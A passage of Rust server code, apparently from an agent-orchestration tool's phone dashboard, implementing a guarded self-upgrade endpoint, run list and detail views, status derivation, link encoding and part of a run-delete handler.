2574/// 3. **Hand over.** [`serve`] drops the listener, *then* spawns the
2575///    successor - see [`spawn_successor`] for what happens in the other
2576///    order.
2577/// 4. **Resume.** The next loop carries the parked run on rather than
2578///    competing again; see `daemon::attempt`.
2579///
2580/// Answers **202**: the reply has to reach the phone while this process can
2581/// still send one, and the phone learns the deck is back by reconnecting.
2582async fn upgrade_post(State(ui): State<Arc<Ui>>) -> ApiResult<(StatusCode, Json<UpgradeView>)> {
2583    let reading = daemon::read_status(&ui.home);
2584    if let Some(other) = Foreign::of(reading.as_ref()) {
2585        return Err(ApiError::conflict(format!(
2586            "the loop belongs to {}, so replacing this binary would leave \
2587             that process running an old one against the same queue. Upgrade \
2588             where it was started.",
2589            other.who()
2590        )));
2591    }
2592
2593    // A second upgrade while one is moving would replace the binary and
2594    // signal the handover again after `serve` already consumed the first
2595    // signal, leaving the process in `replaced` forever. Try-lock rather than
2596    // wait: a phone connection must not hang behind a GitHub round trip.
2597    let Ok(_gate) = Arc::clone(&ui.upgrade_gate).try_lock_owned() else {
2598        return Err(ApiError::conflict(
2599            "another request is already preparing an upgrade",
2600        ));
2601    };
2602    if ui.upgrade_spawned.load(std::sync::atomic::Ordering::SeqCst) {
2603        return Err(ApiError::conflict(
2604            "an upgrade is already in progress (this process started one and it \
2605             has not finished or failed yet)",
2606        ));
2607    }
2608    let recorded = updater::read_progress(&ui.home);
2609    if let Some(p) = upgrade_in_motion(recorded.as_ref()) {
2610        return Err(ApiError::conflict(format!(
2611            "an upgrade is already in progress (stage: {}, {} -> {}). If it \
2612             stays stuck, restart the deck; on start it settles a stale record.",
2613            p.stage.as_str(),
2614            p.from,
2615            p.to.as_deref().unwrap_or("?"),
2616        )));
2617    }
2618
2619    // The same kill switch the background check honours (`disabled_by_env`),
2620    // checked before anything else for the same reason it is read before the
2621    // config there: an operator who set `MAGI_NO_AUTOUPDATE` means "never
2622    // contact GitHub from this process", and a button press must not
2623    // override that any more than a broken `magi.toml` may.
2624    if crate::updater::disabled_by_env() {
2625        return Ok((
2626            StatusCode::OK,
2627            Json(UpgradeView {
2628                from: env!("CARGO_PKG_VERSION").to_owned(),
2629                to: None,
2630                parked: None,
2631                detail: format!(
2632                    "Automatic updates are disabled by {}. Nothing was parked \
2633                     and nothing restarted.",
2634                    crate::updater::NO_AUTOUPDATE_ENV
2635                ),
2636            }),
2637        ));
2638    }
2639
2640    // Asked before anything is disturbed. Restarting when there is nothing
2641    // to install is not a harmless no-op: it parks the run in flight and
2642    // drops every connection to pay for an upgrade that did not happen. A
2643    // probe against a deck already on the newest build did exactly that.
2644    let (cfg, _) = Config::discover(&ui.repo, None).unwrap_or_default();
2645    let from = env!("CARGO_PKG_VERSION").to_owned();
2646    let latest = match crate::updater::Checker::new(&cfg.update) {
2647        Some(checker) => checker
2648            .newer_release()
2649            .await
2650            .map_err(|e| ApiError::internal(format!("check for a release: {e:#}")))?,
2651        None => None,
2652    };
2653    let Some(latest) = latest else {
2654        return Ok((
2655            StatusCode::OK,
2656            Json(UpgradeView {
2657                from,
2658                to: None,
2659                parked: None,
2660                detail: "Already on the newest release. Nothing was parked \
2661                         and nothing restarted."
2662                    .to_owned(),
2663            }),
2664        ));
2665    };
2666
2667    // Parked before anything is replaced: a successor that came up while a
2668    // run was mid-node would find a run nobody is driving.
2669    let parked = ui.park_for_upgrade()?;
2670    let detail = match &parked {
2671        // Honest about the wait. A park takes effect at the *next* node
2672        // boundary, so a run mid-implement finishes that wave first - up to
2673        // `timeout_implement`, an hour by default. Saying "restarting now"
2674        // would make the deck look wedged for the rest of it.
2675        Some(run) => format!(
2676            "Run {} is parking at its next step, which can take as long as \
2677             the step it is on - up to an hour for an implement wave. The \
2678             deck replaces itself once it parks, comes back, and the loop \
2679             carries that run on from where it stopped. Nothing is lost if \
2680             you close this.",
2681            crate::run::short_of(run)
2682        ),
2683        None => "The deck replaces itself and comes back. Nothing was in \
2684                 flight to park."
2685            .to_owned(),
2686    };
2687
2688    // Recorded before the spawn, not inside it: the phone's next `/api/health`
2689    // poll must see a `Downloading` stage immediately, not whenever the
2690    // spawned task happens to get scheduled.
2691    let mut progress = updater::Progress::new(from.clone(), latest.tag_name.clone());
2692    progress.parked_run = parked.clone();
2693    // A failed write is logged, not returned: the loop is already parked
2694    // above, and bailing out here would leave it parked with no upgrade
2695    // spawned to hand over or resume it.
2696    updater::write_progress_logged(&ui.home, &progress);
2697
2698    let home = ui.home.clone();
2699    let looping = ui.looping();
2700    ui.upgrade_spawned
2701        .store(true, std::sync::atomic::Ordering::SeqCst);
2702    let spawned = Arc::clone(&ui.upgrade_spawned);
2703    tokio::spawn(async move {
2704        if let Err(e) = upgrade_and_restart(home.clone()).await {
2705            tracing::error!("the upgrade did not complete: {e:#}");
2706            lock_or_recover(&looping).resume_after_handover = false;
2707            // A failure of this attempt says nothing about a handover an
2708            // earlier request already has in flight; checked and written
2709            // under the progress lock.
2710            let _ = updater::fail_progress(&home, &format!("{e:#}"));
2711            // Released last: until the cleanup above is done, a retry must
2712            // not be able to park and record state this would then undo.
2713            spawned.store(false, std::sync::atomic::Ordering::SeqCst);
2714        }
2715    });
2716
2717    Ok((
2718        StatusCode::ACCEPTED,
2719        Json(UpgradeView {
2720            from,
2721            to: Some(latest.tag_name),
2722            parked,
2723            detail,
2724        }),
2725    ))
2726}
2727
2728/// Replace the binary, then ask [`serve`] to hand the address over.
2729///
2730/// Separated from the handler so the 202 is already on its way, and separated
2731/// from the spawn so the successor starts only after the listener is dropped.
2732async fn upgrade_and_restart(home: PathBuf) -> Result<()> {
2733    // `yes` and non-interactive: nobody is at a terminal, and a prompt would
2734    // hang the upgrade for as long as the process lives.
2735    crate::updater::run_self_update(true, false, true).await?;
2736    updater::log_step(&home, "binary replaced - recording the replaced stage");
2737    if let Some(mut progress) = updater::read_progress(&home) {
2738        progress.advance(updater::Stage::Replaced);
2739        updater::write_progress_logged(&home, &progress);
2740    }
2741    updater::log_step(&home, "upgrade_and_restart: signalling HANDOVER");
2742    HANDOVER.notify_one();
2743    updater::log_step(&home, "upgrade_and_restart: HANDOVER signalled");
2744    Ok(())
2745}
2746
2747/// One row in the run list.
2748///
2749/// The list route returns this rather than whole `RunState`s: the summary of a
2750/// run is a few hundred bytes and the state is megabytes, and the difference
2751/// is what makes the history usable on a mobile link.
2752#[derive(Debug, Serialize)]
2753struct RunSummary {
2754    id: String,
2755    short: String,
2756    status: String,
2757    done: bool,
2758    instruction: String,
2759    title: String,
2760    repo: String,
2761    repo_name: String,
2762    created_at: String,
2763    updated_at: String,
2764    candidates: usize,
2765    viable: usize,
2766    judges: usize,
2767    winner: Option<char>,
2768    reviews: usize,
2769    quota_losses: usize,
2770    event: Option<String>,
2771    /// The later attempt at the same task that replaced this one, if any.
2772    ///
2773    /// Two cards with one title is otherwise unreadable: this is what lets
2774    /// the deck say "superseded by 4043" on the older of the pair.
2775    superseded_by: Option<String>,
2776    /// Blocked on a question nobody has answered.
2777    ///
2778    /// Derived from the question store rather than stored on the run: an agent
2779    /// calling `magi ask` blocks mid-node, and writing a status from there
2780    /// would race the graph's own save of `run.json` and be overwritten at the
2781    /// next node boundary. Asking the store is always true and never races.
2782    waiting: bool,
2783    /// Whether the process recorded as driving this run can still be proven
2784    /// alive. The card uses a confirmed-dead non-terminal run as `stale`,
2785    /// rather than presenting its last graph node as still in flight.
2786    live: crate::run::Liveness,
2787    /// The land loop's last look at the pull request, when there is one.
2788    pr: Option<crate::run::PrRecord>,
2789    /// `status` is `"ready"`, but `[merge] mode = "none"` left it there by
2790    /// design — never picked up by the PR-polling merge watcher, unlike an
2791    /// ordinary `Ready` that may still be a live landing candidate. See
2792    /// [`RunState::unmerged_by_design`]. The front end reads this rather than
2793    /// re-deriving the same check from `status` and `merge.mode` itself.
2794    unmerged_by_design: bool,
2795    /// Derived presentation status matching [`RunDetailView::display_status`].
2796    /// Distinguishes parked runs, crashes, and waiting states from raw node statuses.
2797    #[serde(default)]
2798    display_status: String,
2799    /// Who started the run, as the one label every surface shares; the
2800    /// "origin unknown" wording when the record predates origins.
2801    origin_label: String,
2802}
2803
2804impl RunSummary {
2805    fn of(state: &RunState, waiting: bool, live: crate::run::Liveness) -> Self {
2806        Self {
2807            id: state.id.clone(),
2808            short: state.short().to_owned(),
2809            status: status_word(state.status),
2810            done: state.status.done(),
2811            unmerged_by_design: state.unmerged_by_design(),
2812            display_status: run_display_status(state, waiting, live),
2813            instruction: state.instruction.clone(),
2814            title: title_from(&state.instruction, TITLE_MAX),
2815            repo: state.repo.display().to_string(),
2816            repo_name: state
2817                .repo
2818                .file_name()
2819                .map(|n| n.to_string_lossy().into_owned())
2820                .unwrap_or_default(),
2821            created_at: state.created_at.to_string(),
2822            updated_at: state.updated_at.to_string(),
2823            candidates: state.candidates.len(),
2824            viable: state.viable().len(),
2825            judges: state.config.graph.judges,
2826            winner: state.winner().map(|c| c.label),
2827            reviews: state.reviews.len(),
2828            quota_losses: state.quota.len(),
2829            event: state.events.last().map(|e| e.message.clone()),
2830            waiting,
2831            live,
2832            // Filled in by the list route, which is the only place that can
2833            // see a task's other attempts.
2834            superseded_by: None,
2835            pr: state.pr.clone(),
2836            origin_label: crate::run::origin_label(state.origin.as_ref()),
2837        }
2838    }
2839}
2840
2841/// `RunStatus` as the wire spells it. Every variant is one word, so this is
2842/// the same string `serde` writes for the status inside a full run.
2843fn status_word(status: RunStatus) -> String {
2844    // `RunStatus::as_str` rather than lowercasing the `Debug` spelling: this
2845    // was a third way of naming the same statuses, and one that changed
2846    // silently with a derive.
2847    status.as_str().to_owned()
2848}
2849
2850/// The presentation status for a run, unified across summaries and details.
2851///
2852/// Distinguishes runs that stopped deliberately at a node boundary (`"parked"`)
2853/// from genuine driver crashes (`"stale"`), while preserving `"waiting"` for
2854/// runs awaiting operator answers.
2855fn run_display_status(state: &RunState, waiting: bool, live: crate::run::Liveness) -> String {
2856    if waiting {
2857        return "waiting".to_owned();
2858    }
2859    if state.unmerged_by_design() {
2860        return "unmerged".to_owned();
2861    }
2862    if !state.status.done() && live == crate::run::Liveness::Dead {
2863        // The driver claim clears this flag before saving another event.
2864        // A previous park event can therefore outlive a resumed driver.
2865        if state.parked {
2866            return "parked".to_owned();
2867        }
2868        return "stale".to_owned();
2869    }
2870    status_word(state.status)
2871}
2872
2873/// `?limit=`, clamped by the handler.
2874#[derive(Debug, Deserialize)]
2875struct ListQuery {
2876    #[serde(default)]
2877    limit: Option<usize>,
2878    /// Exact ids only; an empty value requests no rows (except queue blockers).
2879    ids: Option<String>,
2880}
2881
2882impl ListQuery {
2883    fn contains(&self, id: &str) -> bool {
2884        self.ids
2885            .as_ref()
2886            .is_none_or(|ids| ids.split(',').any(|wanted| wanted == id))
2887    }
2888}
2889
2890async fn runs_list(
2891    State(ui): State<Arc<Ui>>,
2892    Query(q): Query<ListQuery>,
2893) -> ApiResult<Json<Vec<RunSummary>>> {
2894    let limit = q.limit.unwrap_or(LIST_DEFAULT).min(LIST_MAX);
2895    blocking(move || {
2896        let (open_runs, claimed, superseded) = run_row_inputs(&ui);
2897        let states = run_ids(&ui.runs)
2898            .into_iter()
2899            // A run whose state cannot be read is skipped, not fatal: a run
2900            // killed mid-write must not blank the history of every other one.
2901            // The detail route still explains it, which is where an operator
2902            // asking "what happened to that run" ends up.
2903            .filter_map(|id| read_run(&ui.runs, &id).ok())
2904            .take(limit)
2905            .filter(|run| q.contains(&run.id));
2906        let probe = std::cell::RefCell::new(crate::proc::ProcProbe::real());
2907        let summaries = summarize(
2908            states,
2909            &open_runs,
2910            &claimed,
2911            &superseded,
2912            |p| probe.borrow_mut().status(p),
2913            |p| probe.borrow_mut().started_at(p),
2914        );
2915        Ok(Json(summaries))
2916    })
2917    .await
2918}
2919
2920/// Everything the per-run rows share, read once: runs with an open question,
2921/// runs a live daemon claims, and the superseded map. Asking per run re-read
2922/// every question file and the daemon status file for each of hundreds of
2923/// runs, and spawned a process probe per run on Windows.
2924fn run_row_inputs(ui: &Ui) -> (HashSet<String>, HashSet<String>, HashMap<String, String>) {
2925    let open_runs: HashSet<String> = ui
2926        .questions
2927        .list()
2928        .into_iter()
2929        .filter(|q| q.status.open())
2930        .map(|q| q.run)
2931        .collect();
2932    let claimed: HashSet<String> = crate::daemon::current_work(&ui.home, jiff::Timestamp::now())
2933        .into_iter()
2934        .map(|c| c.run)
2935        .collect();
2936    (open_runs, claimed, ui.queue.superseded())
2937}
2938
2939/// The rows of the run list, given everything that is shared between them.
2940///
2941/// Pure over its inputs so a test can count how often the process queries are
2942/// asked; `status_q` / `identity_q` are the queries [`RunState::liveness_with`]
2943/// takes, called at most once per run.
2944fn summarize<I, S, D>(
2945    states: I,
2946    open_runs: &HashSet<String>,
2947    claimed: &HashSet<String>,
2948    superseded: &HashMap<String, String>,
2949    mut status_q: S,
2950    mut identity_q: D,
2951) -> Vec<RunSummary>
2952where
2953    I: IntoIterator<Item = RunState>,
2954    S: FnMut(u32) -> Option<bool>,
2955    D: FnMut(u32) -> Option<String>,
2956{
2957    states
2958        .into_iter()
2959        .map(|state| {
2960            let waiting = open_runs.contains(&state.id);
2961            let live =
2962                state.liveness_with(claimed.contains(&state.id), &mut status_q, &mut identity_q);
2963            let mut row = RunSummary::of(&state, waiting, live);
2964            row.superseded_by = state
2965                .pr_taken_over_by
2966                .as_ref()
2967                .or_else(|| superseded.get(&state.id))
2968                .map(String::as_str)
2969                .map(crate::run::short_of)
2970                .map(str::to_owned);
2971            row
2972        })
2973        .collect()
2974}
2975
2976/// A run as the detail route hands it to the phone.
2977///
2978/// The whole state, flattened, plus `instruction_md`: the Task panel renders
2979/// the instruction as markdown, and the raw `instruction` field this struct
2980/// still carries (unchanged) is what a client wanting the exact bytes reads
2981/// instead.
2982#[derive(Debug, Serialize)]
2983struct RunDetailView {
2984    #[serde(flatten)]
2985    state: RunState,
2986    instruction_md: Vec<md::Node>,
2987    /// Agent-written prose of the run, parsed to markdown nodes. Shapes
2988    /// mirror the records they come from, index for index; the raw strings
2989    /// stay in `state` and decide whether a block is shown at all.
2990    #[serde(flatten)]
2991    prose_md: RunProseMd,
2992    /// Whether a process is actually still driving this run: `"live"`,
2993    /// `"dead"`, or `"unknown"` — see [`crate::run::Liveness`].
2994    ///
2995    /// `state.active` (flattened in above) is only ever cleared by the
2996    /// process that populated it; a killed one leaves its last wave's
2997    /// entries behind. Carrying this alongside is what lets the phone rail
2998    /// tell "this seat is still answering" from "this seat was still
2999    /// answering when whatever was driving this run died" without a second
3000    /// route — see `ActiveSeat`'s own docs for why the entry alone is not
3001    /// proof of either. A string rather than a bool on purpose: a daemon
3002    /// claim proves `"live"`, `driver_pid` answering dead proves `"dead"`,
3003    /// and neither proven is `"unknown"` — folding that third case into
3004    /// either end of a bool is exactly the wrong call for a phone screen an
3005    /// operator uses to decide whether to wait or to act.
3006    live: crate::run::Liveness,
3007    /// Same field and meaning as [`RunSummary::unmerged_by_design`] — kept
3008    /// alongside the flattened `state` rather than inside it, since
3009    /// `RunState` has no business knowing which of its own methods a caller
3010    /// wants serialized.
3011    unmerged_by_design: bool,
3012    /// Same field and meaning as [`RunSummary::waiting`].
3013    #[serde(default)]
3014    waiting: bool,
3015    /// Same derived presentation status as [`RunSummary::display_status`].
3016    #[serde(default)]
3017    display_status: String,
3018    /// Same field and meaning as [`RunSummary::done`]: whether the status is
3019    /// terminal. The client's `landView` keys on it, and the flattened state
3020    /// has no such field, so without it a finished run's stale `open` PR
3021    /// would be painted as live on the detail page.
3022    done: bool,
3023    /// Same field and meaning as [`RunSummary::superseded_by`] — the list
3024    /// route fills it from [`Queue::superseded`], the detail route from
3025    /// [`Queue::superseded_by`], and both read the same underlying task
3026    /// order. Without this the detail page could only ever show a red
3027    /// `BLOCKED`/`FAILED` chip on a run a later attempt had already finished,
3028    /// with nothing anywhere saying so — an operator opening it had no way
3029    /// to tell "this is done elsewhere" from "this still needs a retry".
3030    superseded_by: Option<String>,
3031    /// The task's current attempt, when this run is an older one — resolved
3032    /// from [`Queue::latest_attempt`] and this run's own state, not left for
3033    /// the client to derive.
3034    ///
3035    /// Three things a client cannot safely do on its own drove this onto the
3036    /// server: it has to name the chain's *current head*, not just the next
3037    /// attempt (`superseded_by` above), because an intermediate retry in a
3038    /// longer chain can itself still be unresolved; it has to resolve to a
3039    /// real id rather than a short id a client would have to guess a full id
3040    /// from, which is ambiguous the moment two runs share a suffix; and it
3041    /// has to read that head's own status directly, because whether a run
3042    /// list a client happens to have cached even contains that attempt
3043    /// depends on a page limit this route knows nothing about.
3044    latest_attempt: Option<LatestAttempt>,
3045    /// The queue task this run belongs to, so the detail page can link back
3046    /// to the task's own page. `None` for a run nobody queued (`magi run`).
3047    task: Option<TaskRef>,
3048    /// [`crate::run::Origin::label`], or the "origin unknown" wording for a
3049    /// run recorded before origins existed. `origin` itself (flattened in
3050    /// with `state`) is `null` in that case.
3051    origin_label: String,
3052}
3053
3054/// A task named from a run's detail page.
3055#[derive(Debug, Serialize)]
3056struct TaskRef {
3057    id: String,
3058    short: String,
3059    title: String,
3060    /// [`Source::label`], e.g. `chat@a1b2`.
3061    source_label: String,
3062    /// Where the task came from, when that place has a page; see [`source_link`].
3063    source_link: Option<SourceLink>,
3064    /// The task's own status (`TaskStatus::as_str`), independent of this run's.
3065    status: &'static str,
3066    attempts: usize,
3067    max_attempts: usize,
3068    /// This run is the last entry of the task's run list.
3069    is_latest: bool,
3070    /// The task's newest run, when it is not this one.
3071    latest: Option<RunBrief>,
3072    /// The run that finished a `done` task (merged, or already in the base).
3073    finished_by: Option<RunBrief>,
3074    /// The task is `done` but no run on record finished it: closed by hand.
3075    closed_by_hand: bool,
3076}
3077
3078/// The page that filed a task, as the UI links to it.
3079#[derive(Debug, PartialEq, Eq, Serialize)]
3080struct SourceLink {
3081    /// `chat` (a conversation) or `run` (a run's node).
3082    kind: &'static str,
3083    /// The full id, never the short one in the label.
3084    id: String,
3085    /// The hash route that opens it.
3086    href: String,
3087}
3088
3089/// Percent-encode everything outside the URL-unreserved set.
3090fn encode_segment(raw: &str) -> String {
3091    let mut out = String::with_capacity(raw.len());
3092    for b in raw.bytes() {
3093        if b.is_ascii_alphanumeric() || matches!(b, b'-' | b'.' | b'_' | b'~') {
3094            out.push(b as char);
3095        } else {
3096            out.push_str(&format!("%{b:02X}"));
3097        }
3098    }
3099    out
3100}
3101
3102/// The one place that decides where a task's source links to. A chat
3103/// conversation opens `#/chat/<id>`, any other agent node `#/runs/<id>`;
3104/// a person or an imported issue has no page, so no link.
3105fn source_link(source: &Source) -> Option<SourceLink> {
3106    let Source::Agent { run, node } = source else {
3107        return None;
3108    };
3109    let (kind, route) = if node == crate::queue::CHAT_NODE {
3110        ("chat", "chat")
3111    } else {
3112        ("run", "runs")
3113    };
3114    Some(SourceLink {
3115        kind,
3116        id: run.clone(),
3117        href: format!("#/{route}/{}", encode_segment(run)),
3118    })
3119}
3120
3121/// The parent task of a follow-up, when its file can still be read.
3122#[derive(Debug, Serialize, PartialEq)]
3123struct FollowUpParent {
3124    id: String,
3125    short: String,
3126    title: String,
3127    /// The parent's own status (`TaskStatus::as_str`).
3128    status: &'static str,
3129    href: String,
3130}
3131
3132/// The merged run a follow-up was filed from.
3133#[derive(Debug, Serialize, PartialEq)]
3134struct FollowUpRun {
3135    id: String,
3136    short: String,
3137    /// `None` when the run's record cannot be read.
3138    status: Option<&'static str>,
3139    /// `None` unless the record could be read: never a dead link.
3140    href: Option<String>,
3141}
3142
3143/// Where a follow-up task came from, resolved once per task page so the flow
3144/// chart and the detail block cannot disagree. See [`followup_origin`].
3145#[derive(Debug, Serialize, PartialEq)]
3146struct FollowUpOrigin {
3147    /// Present only when `origin_task` is set and that task still exists.
3148    parent: Option<FollowUpParent>,
3149    run: FollowUpRun,
3150    /// The merged pull request, verbatim. Not an href: the client passes it
3151    /// through `forgeUrl()` and renders text when that refuses it (the one
3152    /// exception to "the href rule is Rust's alone", since a forge URL is
3153    /// data from a record, not a route).
3154    pr: String,
3155    findings: Vec<String>,
3156    generation: u32,
3157}
3158
3159/// The one place that decides what a follow-up links to. A parent that cannot
3160/// be read (gone, or an id that names nothing) is `None`, never an error.
3161fn followup_origin(
3162    fu: &crate::queue::FollowUp,
3163    task: impl Fn(&str) -> Option<Task>,
3164    run: impl Fn(&str) -> Option<RunState>,
3165) -> FollowUpOrigin {
3166    let parent = fu
3167        .origin_task
3168        .as_deref()
3169        .and_then(task)
3170        .map(|t| FollowUpParent {
3171            short: t.short().to_owned(),
3172            href: format!("#/tasks/{}", encode_segment(&t.id)),
3173            status: t.status.as_str(),
3174            title: t.title,
3175            id: t.id,
3176        });
3177    let state = run(&fu.run);
3178    FollowUpOrigin {
3179        parent,
3180        run: FollowUpRun {
3181            short: run::short_of(&fu.run).to_owned(),
3182            status: state.as_ref().map(|s| s.status.as_str()),
3183            href: state
3184                .is_some()
3185                .then(|| format!("#/runs/{}", encode_segment(&fu.run))),
3186            id: fu.run.clone(),
3187        },
3188        pr: fu.pr.clone(),
3189        findings: fu.findings.clone(),
3190        generation: fu.generation,
3191    }
3192}
3193
3194/// Another run of the same task, as named from a run's detail page.
3195#[derive(Debug, Serialize)]
3196struct RunBrief {
3197    id: String,
3198    short: String,
3199    /// `None` when the run's record cannot be read.
3200    status: Option<&'static str>,
3201    /// The task-page wording for how that pass ended.
3202    outcome: String,
3203}
3204
3205/// The task's overall outcome as seen from `this_run`'s page, classified with
3206/// the same exits the task page's flowchart uses.
3207fn task_outcome(
3208    task: &Task,
3209    this_run: &str,
3210    max_attempts: usize,
3211    read: impl Fn(&str) -> Option<RunState>,
3212) -> TaskRef {
3213    let history = task_history(task, read);
3214    let brief = |h: &TaskRunView| RunBrief {
3215        id: h.id.clone(),
3216        short: h.short.clone(),
3217        status: h.status,
3218        outcome: h.exit.edge_label(h.status),
3219    };
3220    let is_latest = task.runs.last().is_none_or(|r| r == this_run);
3221    let latest = if is_latest {
3222        None
3223    } else {
3224        history.last().map(brief)
3225    };
3226    let done = task.status == TaskStatus::Done;
3227    let finished_by = done
3228        .then(|| {
3229            history
3230                .iter()
3231                .rev()
3232                .find(|h| {
3233                    matches!(
3234                        h.exit,
3235                        RunExit::Merged | RunExit::Ready | RunExit::AlreadyInBase
3236                    )
3237                })
3238                .map(brief)
3239        })
3240        .flatten();
3241    TaskRef {
3242        short: task.short().to_owned(),
3243        title: task.title.clone(),
3244        id: task.id.clone(),
3245        source_label: task.source.label(),
3246        source_link: source_link(&task.source),
3247        status: task.status.as_str(),
3248        attempts: task.attempts,
3249        max_attempts,
3250        is_latest,
3251        latest,
3252        closed_by_hand: done && finished_by.is_none(),
3253        finished_by,
3254    }
3255}
3256
3257/// The task's current attempt, as seen from an older one's detail page.
3258#[derive(Debug, Serialize)]
3259struct LatestAttempt {
3260    id: String,
3261    short: String,
3262    /// Whether this attempt itself settled with a result nobody needs to
3263    /// act on further. Deliberately narrow: only `Merged` and `Ready` count.
3264    /// `VerifiedNoop` is excluded on purpose — it is a candidate's own
3265    /// unconfirmed claim that no change was needed, which is exactly why it
3266    /// settles the task through `Held` rather than `Done` and still waits on
3267    /// a human to check the evidence; showing an older run as "finished
3268    /// elsewhere" on the strength of an unverified claim would bury the
3269    /// thing that still needs a look. `Blocked`/`Failed`/`Stalled` and every
3270    /// in-flight status are excluded because they are exactly the
3271    /// unresolved states this field exists to tell apart from a real finish.
3272    resolved: bool,
3273    /// The attempt's own recorded status, so the page can say where it
3274    /// stands while it is not resolved yet.
3275    status: RunStatus,
3276    /// Whether that status is terminal (nothing is still running it).
3277    done: bool,
3278}
3279
3280/// Markdown for the free-text prose of a run, parallel to `RunState`.
3281#[derive(Debug, Default, Serialize)]
3282struct RunProseMd {
3283    /// `None` when the run has no design deliberation.
3284    advice_md: Option<AdviceMd>,
3285    /// One entry per candidate: the summary.
3286    candidate_summaries_md: Vec<Vec<md::Node>>,
3287    /// One entry per review round, in `reviews` order.
3288    reviews_md: Vec<RoundMd>,
3289}
3290
3291#[derive(Debug, Default, Serialize)]
3292struct AdviceMd {
3293    synthesis: Vec<md::Node>,
3294    /// One per record; empty for a seat with no proposal.
3295    approaches: Vec<Vec<md::Node>>,
3296}
3297
3298#[derive(Debug, Default, Serialize)]
3299struct RoundMd {
3300    /// One per reviewer record.
3301    reviewers: Vec<ReviewerMd>,
3302    /// One per `reconsideration` entry: the reason.
3303    reconsideration: Vec<Vec<md::Node>>,
3304    fix: Option<FixMd>,
3305}
3306
3307#[derive(Debug, Default, Serialize)]
3308struct ReviewerMd {
3309    summary: Vec<md::Node>,
3310    /// One per finding, in recorded order (not the display order).
3311    findings: Vec<Vec<md::Node>>,
3312}
3313
3314#[derive(Debug, Default, Serialize)]
3315struct FixMd {
3316    notes: Vec<md::Node>,
3317    /// One per rejection: the argument.
3318    rejected: Vec<Vec<md::Node>>,
3319}
3320
3321/// Parse a run's agent-written prose; a pure function of the state.
3322fn run_prose_md(state: &RunState) -> RunProseMd {
3323    let nodes = |t: &str| md::to_nodes(t, &md::ImageBase::None);
3324    RunProseMd {
3325        advice_md: state.advice.as_ref().map(|a| AdviceMd {
3326            synthesis: nodes(a.synthesis.as_deref().unwrap_or("")),
3327            approaches: a
3328                .records
3329                .iter()
3330                .map(|r| nodes(r.proposal.as_ref().map_or("", |p| p.approach.as_str())))
3331                .collect(),
3332        }),
3333        candidate_summaries_md: state.candidates.iter().map(|c| nodes(&c.summary)).collect(),
3334        reviews_md: state
3335            .reviews
3336            .iter()
3337            .map(|round| RoundMd {
3338                reviewers: round
3339                    .reviews
3340                    .iter()
3341                    .map(|rec| ReviewerMd {
3342                        summary: nodes(&rec.summary),
3343                        findings: rec.findings.iter().map(|f| nodes(&f.detail)).collect(),
3344                    })
3345                    .collect(),
3346                reconsideration: round
3347                    .reconsideration
3348                    .iter()
3349                    .map(|rv| nodes(&rv.reason))
3350                    .collect(),
3351                fix: round.fix.as_ref().map(|fix| FixMd {
3352                    notes: nodes(&fix.notes),
3353                    rejected: fix.rejected.iter().map(|r| nodes(&r.why)).collect(),
3354                }),
3355            })
3356            .collect(),
3357    }
3358}
3359
3360impl RunDetailView {
3361    fn of(
3362        state: RunState,
3363        waiting: bool,
3364        live: crate::run::Liveness,
3365        superseded_by: Option<String>,
3366        latest_attempt: Option<LatestAttempt>,
3367        task: Option<TaskRef>,
3368    ) -> Self {
3369        let display_status = run_display_status(&state, waiting, live);
3370        Self {
3371            instruction_md: md::to_nodes(&state.instruction, &md::ImageBase::None),
3372            prose_md: run_prose_md(&state),
3373            origin_label: crate::run::origin_label(state.origin.as_ref()),
3374            live,
3375            unmerged_by_design: state.unmerged_by_design(),
3376            waiting,
3377            display_status,
3378            done: state.status.done(),
3379            superseded_by,
3380            latest_attempt,
3381            task,
3382            state,
3383        }
3384    }
3385}
3386
3387async fn run_detail(
3388    State(ui): State<Arc<Ui>>,
3389    Path(id): Path<String>,
3390) -> ApiResult<Json<RunDetailView>> {
3391    blocking(move || {
3392        let id = resolve_run(&ui.runs, &id)?;
3393        let state = read_run(&ui.runs, &id)?;
3394        let daemon_claims = crate::daemon::is_working_on(&ui.home, &id, jiff::Timestamp::now());
3395        let live = state.liveness(daemon_claims);
3396        let waiting = !ui.questions.open_for(&id).is_empty();
3397        let superseded_by = state
3398            .pr_taken_over_by
3399            .clone()
3400            .or_else(|| ui.queue.superseded_by(&id))
3401            .as_deref()
3402            .map(crate::run::short_of)
3403            .map(str::to_owned);
3404        // Best-effort: an unreadable head (mid-write, or deleted) just means
3405        // this run's own status stands on its own, same as no later attempt
3406        // existing at all.
3407        let latest_attempt = ui.queue.latest_attempt(&id).and_then(|head_id| {
3408            read_run(&ui.runs, &head_id).ok().map(|head| LatestAttempt {
3409                short: head.short().to_owned(),
3410                resolved: matches!(head.status, RunStatus::Merged | RunStatus::Ready),
3411                status: head.status,
3412                done: head.status.done(),
3413                id: head.id,
3414            })
3415        });
3416        let max_attempts = daemon::Opts::default().max_attempts;
3417        let task = ui
3418            .queue
3419            .list()
3420            .into_iter()
3421            .find(|t| t.runs.contains(&id))
3422            .map(|t| task_outcome(&t, &id, max_attempts, |r| read_run(&ui.runs, r).ok()));
3423        Ok(Json(RunDetailView::of(
3424            state,
3425            waiting,
3426            live,
3427            superseded_by,
3428            latest_attempt,
3429            task,
3430        )))
3431    })
3432    .await
3433}
3434
3435/// `DELETE /api/runs/{id}`.
3436///
3437/// Remove a finished, folded run directory along with its artifacts.
3438/// Running runs and runs with unfolded candidate worktrees/branches cannot be
3439/// deleted. This never touches git worktrees or branches - except for a run
3440/// whose state this build cannot read at all, where there is no candidate
3441/// list to check and the wholesale removal `magi fold` already uses for that
3442/// case is the only meaningful "delete".
3443async fn run_delete(State(ui): State<Arc<Ui>>, Path(id): Path<String>) -> ApiResult<StatusCode> {
3444    let (id, unreadable) = {
3445        let ui = Arc::clone(&ui);
3446        blocking(move || {
3447            let id = resolve_run(&ui.runs, &id)?;
3448            match read_run(&ui.runs, &id) {
3449                Ok(state) => {
3450                    let in_flight =
3451                        crate::daemon::is_working_on(&ui.home, &id, jiff::Timestamp::now());
3452                    state
3453                        .ensure_can_delete(in_flight)
3454                        .map_err(|e| ApiError::conflict(format!("{e:#}")))?;
3455                    let dir = ui.runs.join(&id);
3456                    std::fs::remove_dir_all(&dir)
3457                        .with_context(|| format!("remove run directory {}", dir.display()))?;
3458                    Ok((id, false))
3459                }
3460                Err(_) => {
3461                    // Unreadable: there is no candidate list to guard on, so
3462                    // a live daemon's claim is the only thing left to check -
3463                    // the same rule `run_fold` applies for the same reason.
3464                    if crate::daemon::is_working_on(&ui.home, &id, jiff::Timestamp::now()) {
3465                        return Err(ApiError::conflict(format!(
